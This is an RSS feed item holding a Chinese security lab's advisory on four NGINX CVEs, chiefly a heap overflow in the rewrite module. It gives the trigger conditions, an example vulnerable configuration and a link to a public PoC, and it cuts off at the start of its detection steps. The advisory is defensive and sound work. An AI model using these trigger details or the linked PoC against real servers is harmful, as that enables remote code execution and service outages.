<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>猎户攻防实验室</title>
    <link>https://wechat2rss.xlab.app/feed/fe0f4b4ed13da1bd9296fe819c5770526ae910b0.xml</link>
    <description>江南天安猎户攻防实验室，专注于信息安全攻防研究。分享有关渗透测试、代码审计、漏洞分析与挖掘、攻击溯源、逆向工程、数据挖掘、关联分析等领域的所见所得。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (猎户攻防实验室)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7vw0Yd4jSBPiaMuldbXictcicJcPNib8Wkx3OibeyASYaLy4Q/0</url>
      <title>猎户攻防实验室</title>
      <link>https://wechat2rss.xlab.app/feed/fe0f4b4ed13da1bd9296fe819c5770526ae910b0.xml</link>
    </image>
    <item>
      <title>NGINX 漏洞预警：18 年老洞可 RCE，PoC 已公开</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&amp;mid=2247486739&amp;idx=1&amp;sn=637f91dad1c504d0eb7dd9d5292d6057</link>
      <description>NGINX 18年漏洞已公开</description>
      <content:encoded><![CDATA[<p><span>猎户攻防实验室</span> <span>2026-05-14 19:37</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3664807c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FJ8Ev2iczlWG0MW1UV4yLd3eeYUiaibzYapyGCmIKTibKRGQQFJGQ2siaSk0dttAXjDTpsnnrvjibPaLgWnuRxVOlnhqCFgO3PsxZmjvKJ8icxFicYRw%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>NGINX 18年漏洞已公开</p>
  <p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">5月13日，安全研究机构 DepthFirst 的自动化漏洞扫描系统一次性发现了 NGINX 的 4 个安全漏洞。其中最严重的 CVE-2026-42945（NGINX Rift） 影响范围横跨 0.6.27 到 1.30.0，存在了将近 18 年，官方 PoC 已公开。</span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">漏洞清单</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">CVE</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">严重度</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">模块</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">影响</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">CVE-2026-42945</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🔴 Critical 9.2</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">ngx_http_rewrite_module</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">堆溢出 → RCE/DoS</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">CVE-2026-42946</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🟠 High 8.3</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">ngx_http_scgi_module / uwsgi_module</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">~1TB 内存分配 → worker 崩溃（DoS）</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">CVE-2026-40701</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🟡 Medium 6.3</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">ngx_http_ssl_module</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">TLS 关闭后 OCSP DNS use-after-free</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">CVE-2026-42934</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">🟡 Medium 6.3</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">ngx_http_charset_module</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">UTF-8 跨缓冲区越界读（off-by-one）</span></p></td></tr></tbody></table></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">修复版本：</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">1.30.1+</span></strong><span leaf="">（稳定分支）/ </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">1.31.0+</span></strong><span leaf="">（主线）</span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">重点分析</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">CVE-2026-42945（NGINX Rift）—— 堆溢出可RCE</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这是本次最严重的漏洞。当配置中 rewrite 的替换串包含 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">?</span></code><span leaf="">，且后续通过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">set</span></code><span leaf="">/</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">if</span></code><span leaf="">/</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">rewrite</span></code><span leaf=""> 引用了正则捕获组（如 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$1</span></code><span leaf="">、</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$2</span></code><span leaf="">）时，攻击者发送特制 URI 即可触发堆溢出。可导致 worker 进程崩溃，在绕过 ASLR 的条件下可实现远程代码执行。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">受影响配置示例：</span></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">rewrite</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf=""> ^/old/(.*)$</span></span><span leaf=""> /new?param=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$1</span></span><span leaf="">;    </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 替换串含 ? 且引用了 $1</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">set</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$my_var</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$1</span></span><span leaf="">;                        </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 引用捕获组</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">CVE-2026-42946 —— SCGI/uwsgi 内存耗尽</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">触发后可导致约 1TB 的内存分配，直接打挂 worker 进程。所有使用 SCGI 或 uWSGI 后端的部署均受影响。</span></p><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">PoC / 利用脚本</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">CVE-2026-42945 的 PoC 已公开：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 官方 PoC：<a href="https://github.com/DepthFirstDisclosures/Nginx-Rift" target="_blank">https://github.com/DepthFirstDisclosures/Nginx-Rift</a></span></p></li></ul><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116);margin: 0px 0px 1em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">关于 PoC 的实际利用能力说明：</span></strong><span leaf=""> 该 PoC 主要在 ASLR 关闭的环境（如 DepthFirst 提供的 Docker 测试环境）下能稳定实现 RCE。在真实生产环境（默认开启 ASLR 的 Linux 系统）上，大概率只能实现可靠的 DoS 崩溃，完整 RCE 需要额外技巧。</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">请仅在自己可控的测试环境中使用，严禁用于任何未经授权的服务器，否则属于违法行为。</span></strong></p></blockquote><h2 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 18.2px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: table;padding: 0.3em 1em;color: rgb(255, 255, 255);background: rgb(0, 152, 116);border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px;"><span leaf="">排查方法</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">第 1 步：资产清点 — 确认 NGINX 版本</span></strong></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira 